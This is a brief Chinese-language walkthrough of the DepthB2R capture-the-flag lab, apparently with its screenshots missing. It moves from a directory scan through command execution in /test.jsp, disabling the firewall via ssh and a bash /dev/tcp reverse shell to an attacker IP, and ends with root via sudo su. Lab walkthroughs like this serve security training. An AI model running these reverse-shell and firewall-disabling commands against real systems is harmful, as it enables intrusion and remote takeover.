DepthB2R

一、主机发现

页面上就有

二、信息收集

1.扫描端口

2.目录扫描

dirsearch -u http://192.168.36.133:8080

3.访问首页

4.拼接目录/test.jsp

翻译

进来后，可能存在命令执行漏洞

尝试，是有的

查看用户

将防火请关闭

ssh bill@127.0.0.1 sudo ufw disable

尝试ssh连接

ssh bill@192.168.36.133 bash -i >& /dev/tcp/192.168.36.130/7894 0>&1

攻击机开监听

反弹成功

三、提权

1.sudo -l

2.直接输入sudo su，提权成功